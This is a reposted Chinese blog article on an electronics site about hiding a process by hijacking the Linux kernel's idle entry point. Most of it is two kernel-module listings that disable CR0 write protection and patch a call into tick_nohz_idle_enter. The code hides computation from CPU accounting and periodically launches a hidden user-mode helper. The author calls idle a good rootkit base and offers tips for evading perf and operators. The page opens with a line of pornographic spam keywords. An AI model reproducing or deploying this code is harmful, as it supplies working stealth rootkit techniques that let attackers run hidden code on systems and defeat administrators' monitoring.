国产精品久久久aaaa,日日干夜夜操天天插,亚洲乱熟女香蕉一区二区三区少妇,99精品国产高清一区二区三区,国产成人精品一区二区色戒,久久久国产精品成人免费,亚洲精品毛片久久久久,99久久婷婷国产综合精品电影,国产一区二区三区任你鲁

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

如何利用CPU隱藏一個進程

lhl545545 ? 來源:Linuxer ? 作者:Linuxer ? 2020-06-09 15:16 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

前面談過如何隱藏一個進程,我說過,隱藏procfs接口那無異于掩耳盜鈴,正確的做法應該是將task_struct從任何鏈表中摘除,僅僅保留于run queue。

CPU利用率會暴露你隱藏的進程…

于是hook掉CPU記賬接口…

但是…于是…

害怕被debug,封堵/dev/mem,/proc/kcore,封堵lkm,…

左右手互搏…目前防御手稍微占優勢。

其實,還有一個好辦法,即劫持idle,這樣我們甚至可以不用管CPU記賬程序, idle多當然好啊,運維們不正期望idle多嗎?idle多沒人會去perf的吧…

測試代碼如下:

#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》

char *stub;char *addr = NULL;static unsigned long base = 0;

void test_stub1(void){ unsigned long i;

local_bh_disable(); // 防止期間時鐘中斷記賬到sys或者si。 local_irq_disable(); // 開始我們的計算任務。 for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx

”, base); } local_irq_enable(); local_bh_enable();

}

#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5

unsigned char *idle;

unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;

idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);

stub = (void *)test_stub1; addr = (void *)idle;

offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);

return 0;}

static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}

module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);

需要注意的是,計算任務不能睡眠,不能schedule,不能太太太繁重,以免被perf發現。其實,如果機器在機房,電源風扇的轟鳴是可以掩蓋CPU風扇的,不過液冷的話就要另想辦法了。

我們看下效果吧。我用虛擬機測試,下面左邊是宿主機,右邊是虛擬機,沒有劫持idle時的CPU利用率如下:

如何利用CPU隱藏一個進程

下面是劫持后的:

如何利用CPU隱藏一個進程

雖然右邊虛擬機的CPU依然幾乎全部都是idle,和未劫持時沒有差別,然而宿主機的能耗騙不了人。筆記本的風扇噪聲在加大,以至于我不得不用Macs Fan Control將風扇轉速調低,然而鋁殼正在變得發燙。

哪個是真的,哪個是假的,假亦真時真亦假…

我倒是覺得,idle作為Rootkit的根據地還是非常不錯,如果你想執行一些 真正的任務 ,那就call usermodehelper唄,只要確保這個helper完成任務及時退出就行。

#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》

char *stub;char *addr = NULL;static unsigned long base = 0;static unsigned long last = 0;

void test_stub1(void){ unsigned long i;#if 0 local_bh_disable(); local_irq_disable(); for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx

”, base); } local_irq_enable(); local_bh_enable();#endif //if (jiffies % 1000 == 0 && last != jiffies) { if (jiffies - last 》= 1000) { // /root/run 程序一定不要太猶豫,做完就走。且該程序要以某種方式使readdir無法顯示。 call_usermodehelper(“/root/run”, NULL, NULL, 0); last = jiffies; }}

#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5

unsigned char *idle;

unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;

idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);

stub = (void *)test_stub1; addr = (void *)idle;

offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);

return 0;}

static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}

module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);

run的代碼如下:

#include 《fcntl.h》int main(int argc, char **argv){ int fd = open(“/dev/pts/0”, O_RDWR); write(fd, “aaaaaaaaa

”, 10);}

效果就是在系統壓力不大時,每隔大約1秒中在/dev/pts/0終端打印一串a。

如果run程序執行時間在作為human being的運維人員和經理的視角轉瞬即逝的話,同時run又是一個隱藏文件的話,試問如何發現誰打出的a呢?

運維和經理打字敲回車以及他們的蛋白質眼睛無法分辨200ms以下的事件。
責任編輯:pj

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • cpu
    cpu
    +關注

    關注

    68

    文章

    11279

    瀏覽量

    225022
  • 接口
    +關注

    關注

    33

    文章

    9521

    瀏覽量

    157048
收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評論

    相關推薦
    熱點推薦

    飛凌嵌入式ElfBoard-進程之什么是進程

    系統性能,優化系統資源的使用,以及管理進程的生命周期。當然,在程序中,用戶也可以通過系統調用和庫函數來獲取和管理進程信息。進程IDLinux下每個進程都會有
    發表于 03-02 08:49

    服務器驚現“活死人”?僵尸進程排查、危害與解決全指南

    在服務器運維中,你是否遇到過這樣的怪事:明明任務已經結束,進程卻像“活死人” 樣賴著不走,還霸占著進程 ID(PID)?這就是僵尸進程(Zombie Process) 在搞鬼。今天,
    的頭像 發表于 02-04 17:41 ?1670次閱讀
    服務器驚現“活死人”?僵尸<b class='flag-5'>進程</b>排查、危害與解決全指南

    Linux進程管理不用愁!這6工具幫你搞定90%場景

    在 Linux 系統中,進程是資源分配的基本單位,無論是服務器運維、程序調試還是日常使用,掌握進程管理工具都是必備技能。今天就帶大家梳理 6 最常用的進程管理工具,從查看
    的頭像 發表于 02-04 16:23 ?1541次閱讀
    Linux<b class='flag-5'>進程</b>管理不用愁!這6<b class='flag-5'>個</b>工具幫你搞定90%場景

    飛凌嵌入式ElfBoard-進程之什么是進程

    ID,用戶ID,組ID以及終止狀態等)。4.1.1 進程和程序的區別程序是靜態的代碼集合,是組指令的集合,用于執行特定的任務。程序通常以文件的形式存在,存儲在硬盤、閃存或其他存儲
    發表于 01-26 08:42

    飛凌嵌入式ElfBoard-系統信息與資源之獲取當前進程時間

    : 0 ticksChild System CPU time: 0 ticksTotal CPU time: 4 ticks tick 通常表示
    發表于 01-20 08:53

    進程概念和特征

    的并發性和共享性。   為了使參與并發執行的程序(含數據)能獨立地運行,必須為之配置專門的數據結構,稱為進程控制塊(Process Control Block, PCB)。系統利用
    發表于 01-15 06:39

    進程通信

    進程通信是指進程之間的信息交換。PV操作是低級通信方式,髙級通信方式是指以較高的效率傳輸大量數據的通信方式。高級通信方法主要有以下三類。   共享存儲   在通信的進程之間
    發表于 01-15 06:16

    進程的控制

    進程控制的主要功能是對系統中的所有進程實施有效的管理,它具有創建新進程、撤銷已有進程、實現進程狀態轉換等功能。在操作系統中,
    發表于 01-15 06:05

    深入Linux內核:進程調度的核心邏輯與實現細節

    在Linux系統中,進程調度就像位精明的“CPU管理員”——它決定著哪個進程能優先使用CPU,多久切換
    的頭像 發表于 12-24 07:05 ?4314次閱讀
    深入Linux內核:<b class='flag-5'>進程</b>調度的核心邏輯與實現細節

    解析Linux的進程、線程和協程

    、基礎概念 進程(Process) 進程是計算機中運行的程序的實例,它是操作系統中最基本的執行單元之。每個進程都有自己的獨立內存空間
    發表于 12-22 11:00

    CPU里真的有黃金:看完秒懂

    在大家的印象中,黃金是珠寶、投資品和工業原料,但很少有人知道,我們每天使用的電腦CPU里竟然也隱藏著這種貴金屬。那為什么芯片會用到黃金,CPU中能有多少純金呢?不依靠專業設備能提取
    的頭像 發表于 08-30 15:41 ?5560次閱讀

    linux服務器挖礦病毒處理方案

    情況說明:挖礦進程隱藏CPU占用50%,htop/top卻看不到異常進程),結束挖礦進程后馬上又會運行起來(crontab -l查看發現
    的頭像 發表于 04-09 10:33 ?1210次閱讀
    linux服務器挖礦病毒處理方案

    Linux進程狀態詳解

    進程狀態是task_struct內的整數;進行:進程在調度隊列中,進程的狀態都是running,阻塞:等待某種設備或者資源就緒。
    的頭像 發表于 04-01 09:46 ?1163次閱讀
    Linux<b class='flag-5'>進程</b>狀態詳解

    進程、線程、協程傻傻分不清?文帶你徹底扒光它們的\"底褲\"!

    是(每個進程可以跑在不同CPU) 是(線程可以分配到不同核) 否(只能在核上蹦迪) 適用場景 銀行系統、docker容器 視頻渲染、實時音視頻 微信客服、高并發Web服務器 社死
    發表于 03-26 09:27

    請問如何在Python中實現多線程與多進程的協作?

    大家好!我最近在開發Python項目時,需要同時處理多個任務,且每個任務需要不同的計算資源。我想通過多線程和多進程的組合來實現并發,但遇到了些問題。 具體來說,我有兩
    發表于 03-11 06:57